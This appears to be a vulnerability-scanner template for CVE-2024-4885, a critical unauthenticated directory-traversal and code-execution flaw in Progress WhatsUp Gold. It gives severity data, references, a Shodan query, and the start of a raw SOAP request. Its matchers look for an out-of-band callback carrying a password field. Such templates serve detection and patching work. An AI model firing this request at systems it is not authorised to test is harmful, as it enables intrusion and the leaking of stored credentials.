Progress Software WhatsUp Gold GetFileWithoutZip Directory Traversal - Remote Code Execution

id: CVE-2024-4885

info:
  name: Progress Software WhatsUp Gold GetFileWithoutZip Directory Traversal - Remote Code Execution
  author: SinSinology,iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    This vulnerability allows remote attackers to execute arbitrary code on affected installations of Progress Software WhatsUp Gold. Authentication is not required to exploit this vulnerability.
    The specific flaw exists within the implementation of GetFileWithoutZip method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the service account.
  impact: |
    Unauthenticated attackers can exploit directory traversal to read sensitive files and achieve remote code execution.
  remediation: |
    Update Progress WhatsUp Gold to a version that patches CVE-2024-4885.
  reference:
    - https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-June-2024
    - https://www.zerodayinitiative.com/advisories/ZDI-24-893/
    - https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/
    - https://www.progress.com/network-monitoring
    - https://github.com/sinsinology/CVE-2024-4885
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-4885
    cwe-id: CWE-22
    epss-score: 0.99288
    epss-percentile: 0.99938
    cpe: cpe:2.3:a:progress:whatsup_gold:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"WhatsUp Gold"
    product: whatsup_gold
    vendor: progress
  tags: cve,cve2024,rce,progress,whatsup,lfi,kev,vkev,vuln

http:
  - raw:
      - |
        POST /NmAPI/RecurringReport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: http://tempuri.org/IRecurringReportServices/TestRecurringReport

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    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "sPassword"